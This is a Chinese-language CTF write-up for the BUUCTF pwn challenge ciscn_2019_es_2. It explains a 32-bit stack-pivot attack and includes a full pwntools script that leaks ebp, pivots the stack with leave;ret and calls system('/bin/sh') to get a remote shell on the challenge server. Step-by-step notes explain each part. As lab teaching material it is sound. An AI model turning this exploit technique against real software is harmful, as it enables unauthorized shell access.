[BUUCTF]-PWN:ciscn_2019_es_2解析(栈迁移)

这是一道关于栈迁移的题目,先查看保护

[BUUCTF]-PWN:ciscn_2019_es_2解析(栈迁移)_第1张图片

开启了NX,没开canary和pie,查看main函数

[BUUCTF]-PWN:ciscn_2019_es_2解析(栈迁移)_第2张图片

[BUUCTF]-PWN:ciscn_2019_es_2解析(栈迁移)_第3张图片

可以看到虽然有栈溢出的漏洞,但是可以溢出的长度不够长,有system函数,但是system函数里面的参数是echo flag,这样只会打出flag这四个字符而已,这样的话就没办法覆盖返回地址跳转到system获取shell,所以考虑栈迁移。

这道题的栈迁移主要是利用两次leave(一个是函数自带的leave,ret,另一个是我们输入的),ret让esp指向我们想让它指向的地方,从而在我们能输入的地方构造rop。

exp如下:

from pwn import*
context(log_level='debug')
#p=process('./es2')
p=remote('node4.buuoj.cn',29841)
system=0x8048400
leave_ret=0x08048562
payload=b'a'*0x27+b'b'
p.sendafter(b'your name?',payload)
p.recvuntil(b'b')
ebp=u32(p.recv(4))
print(ebp)
print(hex(ebp))
payload=b'a'*4+p32(system)+p32(0xdeadbeef)+p32(ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()

要点1:leave,ret的作用

答:leave指令可以分为mov esp, ebp和pop ebp两个部分,前者是让esp指向和ebp一样的位置,后者是让esp指向返回地址。ret指令是pop eip,将esp指向的内容弹出并存入eip中,执行下一个函数。详细可以去了解一下函数调用和栈帧原理

要点2:为什么像第一次构造payload这样可以打印出ebp?

答:printf函数停止输出字符串是有条件的,在没有遇到\n之类或遇到空字符\0才会停止输出,在C语言字符数组中,我们输入的字符在没有达到最大长度-1的长度时,会自动帮我们加上\0,这也是为什么只输出几个字符没法打印出ebp的原因,只要我们把字符数组输入满,他就没法加上\0从而打印出栈中剩下的内容,直到满足条件而停止。

要点3:为什么要在ebp处填入ebp-0x38?

答:先说明一点,我们第二次构造payload时往ebp填入ebp-0x38是为了让它在执行完函数原有的leave,ret之后ebp指向b'a'*4的头地址,但要注意这里不是输入ebp-0x28,因为第一个printf打印出来的是ebp里的内容而不是ebp的地址,通过动态调试可以知道ebp里面的内容是ebp+0x10的地址,我们打印出来的就是ebp+10的地址,这里就要填入ebp-0x38才能使ebp指向b'a'*4的头。

要点4:为什么第一次输入时要使用p.sendafter?

答:因为p.sendlineafter等相似的输入方法会在输入payload之后再输入一个\n从而覆盖ebp处的第一个字节,导致输出的ebp内容不对,所以要使用p.sendafter。

要点5:为什么为system传参要使用p32(system)+p32(0xdeadbeef)+p32(ebp-0x28)+b'/bin/sh'?

答:首先要明白32位是通过栈传参的,这样的形式是32位的调用函数的调用规则。也会有疑问说可不可以在ebp-0x28那里就填入/bin/sh,这样是不行的,我们32位传参就是要传地址,如果之前有做过system里的参数不是sh或/bin/sh的题目就会明白,我们传的是地址,而程序里没有这样的参数,只能我们自己这样写。

要点6:接收ebp的时候要注意只用接收前4字节就行

答:因为32位的地址是4字节的,我们这样输入第一个就会打印出ebp的内容,后面是后续栈帧的内容,我们用不上。

另外,还要说一个在新配置的环境中做题可能会碰到的问题,那就是明明给该题的附件权限了,明明文件的路径没错,但是他还是说没有文件或没有依赖库,这是因为新配置的环境可能没有32位的libc和ld,只要把32位的补齐,他就能自动连接上,就可以正常在本地打了。

你可能感兴趣的:(安全,网络安全,linux,python)